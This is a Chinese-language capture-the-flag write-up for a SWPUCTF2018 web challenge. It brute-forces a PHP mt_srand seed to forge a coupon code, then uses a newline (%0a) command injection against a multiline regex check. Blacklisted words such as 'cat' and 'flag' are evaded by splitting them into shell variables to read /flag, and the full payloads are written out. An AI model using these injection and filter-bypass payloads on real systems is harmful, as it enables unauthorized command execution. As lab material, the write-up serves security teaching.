SWPUCTF2018 writeup

用优惠码 买个 X ?

flag在/flag中
URL http://123.207.84.13:22333

注册个账号登录
登录提示送你优惠码

优惠码保存在cookie中的Auth中
输入优惠码提示要输入24位的优惠码

http://123.207.84.13:22333/www.zip 源码泄露
只有个source.php文件

<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
    mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
    if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
    }else{
             // 你的输入不正确!
    }
?>

代码中只生成了15位。验证应该还有一个生成24位。
无论是rand()函数还是mt_rand()函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的,随机数种子是关键。但是种子范围在rand(0,999999999);
只能爆破了,
kali下php版本为7.2.4,题目的版本是PHP/7.2.9-1,我发现本地用php5.4使用一样的种子生成的是不一样的序列

<?php
ini_set('max_execution_time','0');
function youhuima(){
    mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//62
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*(-1), 1);
    }
    return $auth;
    //setcookie('Auth', $auth);
}
for($i=0;$i<999999999;$i++)
{
    $_SESSION['seed'] = $i;
    if(youhuima() == "tmqoTcEJIQ5lrsF")
    {
        echo $i,"</br>";
         echo youhuima();
        exit();
    }
}
//echo "tmqoTcEJIQ5lrsF";
?>

也就几分钟,就爆破出来了。可能是运气好

得到随机种子15252003,
设置$_SESSION[‘seed’]为15252003,得到优惠码tmqoTcEJsk5PJsFZfOqDZXbd
已经得到的session
PHPSESSID=42i3mgn649nj6vsvtc05h2oej6
进入下一个support
http://123.207.84.13:22333/exec.php

if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){

虽然有了开头^和结尾$,但是有/m参数,/m表示开启多行匹配模式
使用%0a绕过
1.1.1.1%0awhoami
不知道为什么在输入框输入不行,要用参数提交
POST:ip=1.1.1.1%0awhoami

if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){

过滤了cat flag关键字
使用变量绕过

a=c;b=at;c=fl;d=ag;$a$b $c$d
ip=127.0.0.1%0acd ../../../;ls -l;a=c;b=at;c=fl;d=ag;$a$b $c$d